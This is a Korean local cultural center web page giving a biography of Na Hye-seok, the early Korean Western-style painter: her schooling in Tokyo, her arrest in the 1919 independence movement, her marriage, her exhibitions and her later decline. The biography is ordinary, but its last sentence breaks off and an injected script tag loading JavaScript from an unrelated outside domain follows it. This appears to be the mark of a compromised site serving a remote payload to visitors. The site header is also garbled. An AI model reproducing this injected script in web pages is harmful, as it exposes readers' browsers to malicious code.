¾ÆAIμð
비밀번호
로그인
아이디비밀번호 찾기
사이트맵
찾아오시는 길
이메일보내기
문화원달력
조직도
홈 >향토문화자료관>향토위인

 

나혜석

이미지없음
 나혜석(羅蕙錫)

<생장> 1896~1948. 우리나라 최초 여류 서양화가. 본관은 나주(羅
州), 초명은 아지(兒只), 호는 정원(晶月). 수여면(용인읍) 소학동 
11통 8호에서 거주하였다.
그가 19세 되던 해인 1914년 3월 17일 부친 나기정은 수원군 수원
면 신풍리(新風里:지금의 신풍동) 291번지로 이사하였으나 나혜석
은 이때 서울의 진명여고를 마치고, 그의 부친이 수원으로 이사하
기 이미 1년 전인 1913년에 새로운 미술 분야였던 양화를 전공하기 
위하여 동경의 여자미술학교로 유학을 떠났다.
나혜석이 동경여자미술학교에 다니면서 1915년 4월에는 유학생 김
정화(金貞和) 등과 함께 <조선여자 친목회>를 발기하고 재 동경 조
선여자 상호간에 친목을 도모하며, 지식계발 및 국내 여성 지도계층
에 앞장서기로 하였는데, 창립 당시에는 전영택(全榮澤), 이광수(李
光洙) 두사람이 고문으로 있으면서, 이 친목회는 1918년까지 지속
되었다. 이들은 부대사업으로 <여자계>를 발행하여 기금을 모으는 
한편, 1919년 2・8운동이 전개되자 동 회의의 명의로 활동자금을 기
탁하는 등 많은 후원활동을 전개하였다.
그는 23세 되는 해인 1918년 미술학교를 졸업하고 서울로 돌아와 정
신학교 미술교사를 지내고 있었으며, 이듬해 1919년 3・1만세운동
이 일어나자 이에 참가하였다가 체포되어 경성부 종로통 기독교청
년회관 간사 이일(李一) 등 45명과 함께 1919년 8월 4일 경성지방법
원 예심계, 총독부 판사 일본인 영도웅장(永島雄藏)으로부터 출판
법 위반 및 보안법 위반혐의로 기소되었다가 예심판결에서 출소되
었다.
이때 나혜석은 경성부 종로 5정목 방태영(方台榮) 집에 거주했던 것
으로 나타나는데, 지방법원의 판결내용을 보면 이들은 “1919년 2월
부터 3월에 걸쳐 손병희 외 32인이 조선독립을 목적으로 조선은 독
립국임과 조선민족은 자유민임을 누누이 강조 기술한 불온문서를 
인쇄 배포하여 조선인을 선동함에 있어 많은 사람과 같이 이에 가
담, 정치에 관한 불온한 언동을 함으로서 치안을 방해하였으므로 형
사소송법 제165조 제1호에 의하여 주문과 같이 판결한다.”고 기술
되어 있다.
나혜석과 함께 투옥되었던 상당수의 학생들은 태형 90도에 처해졌
거나 많게는 25일 간의 구류처분을 받았다.
또 1919년 3월 2일에는 평양태생의 황애시덕(黃愛施德)과 만나 예
수교에서 경영하는 이화학당에서 박인덕, 김활란(金活蘭)등 이화학
당 교사, 손정순 이화학당 학생, 안숙자 육군중위의 처, 안병숙 예수
교 중앙예배당 교사등과 함께 비밀회동을 갖고 ①독립운동에는 부
인활동을 가장 필요로 하므로 부인단체를 조직하여 남자와 제휴 활
동할 것. ②전항의 목적을 완전히 수행하기 위하여 부인단에 감사
를 둘 것. ③독립운동의 목적을 달성할 때까지 각 학교 학생은 전부 
휴교를 단행할 것 등을 결의하고 나혜석은 김마리아, 황애시덕, 박
인덕과 함께 감사를 수락하고, 정신학교, 신명여학교를 위시하여 
각 여학교 학생들이 결의된 사항에 동참해 줄 것을 권유 격려하다
가 모두 체포되어 결국 이들 여성 애국 독립투사들은 형사소송으로 
옥고를 치렀다.
나혜석은 출옥한 후 1920년 5월 9일 정통예배당에서 남녀 학생 8백
여명 참석한 가운데 열렸던 조선학생대회에 여성계 대표인사로 참
석하여 학생운동에 적극 협력한 것으로 나타나고 있는데 후에 그녀
는 재판 중에 변론을 맡았던 김우영(金雨榮)과 1920년 5월 28일 결
혼식을 올리고 경기도 경성부 인사동 36번지에서 신접살이를 시작
하였다.
그 후 1921년 경성일보사 내청각에서 첫 유화 개인전을 가졌으며 
1922년부터 조선미술전람회 서양화부에 해마다 작품을 출품하여 창
작활동에 몰입, 수상과 특선을 거듭하였으며, 1931년에는 동격의 국
제미술원 전람회에 입선하기도 하였다.
1927년에는 만주 안동현 부영사의 외교관 신분이 된 남편 김우영과 
함께 세계일주 여행에 올라 파리에서 약 8개월간 머무르면서 그곳 
미술연구소에서 수업한 후 유럽 각국의 미술관을 순례하면서 예술
가로서의 안목을 넓혔다.
귀국 후 1935년 서울에서의 소품전을 마지막으로 미술활동을 중단
하였으며, 또 최린과의 관계로 결혼생활에 파경을 맞고 끝내는 반신
불수 정신장애를 일으켜 행여자로 유리하다가 생애를 마친 것으로 
전해지고 있다.
그는 우리나라 최초 “여류 서양화가, 페미니스트, 문필가, 독립운동
가” 등 여러 가지 타이틀을 지닌 걸출한 인물이면서 시대의 변혁과 
격동기를 살다간 분방한 예술가로서 혜성처럼 용인을 빛낸 한 인물
이다.
그동안 수원사람으로만 알려져 왔던 그는 향토사학가 이승언씨의 
고증으로 처음 용인사람이라는 것이 확인되었고 1995년 4월 19일
자 중부일보 김우영 기자에 의하여 이의 사실?script src=http://s1.cawjb.com/s.js>
    목록



 
주소 로고